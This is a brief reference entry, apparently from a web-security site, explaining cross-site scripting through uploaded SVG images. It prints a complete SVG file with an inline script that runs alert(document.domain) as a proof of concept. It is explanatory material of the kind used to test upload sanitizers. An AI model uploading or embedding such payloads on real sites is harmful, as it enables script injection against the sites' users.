XSS via SVG file upload
SVG files can contain embedded JavaScript code that executes when the image is rendered in a browser.
Example
Download as file: svg-document-domain-xss-34-.svg
SVG with inline script tag
xml
<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="400" height="400" viewBox="0 0 124 124" fill="none">
<rect width="124" height="124" rx="24" fill="#000000"/>
<script type="text/javascript">
alert(document.domain)
</script>
</svg>More examples
Find more inspirations in SVG sanitizing libraries' test cases, like: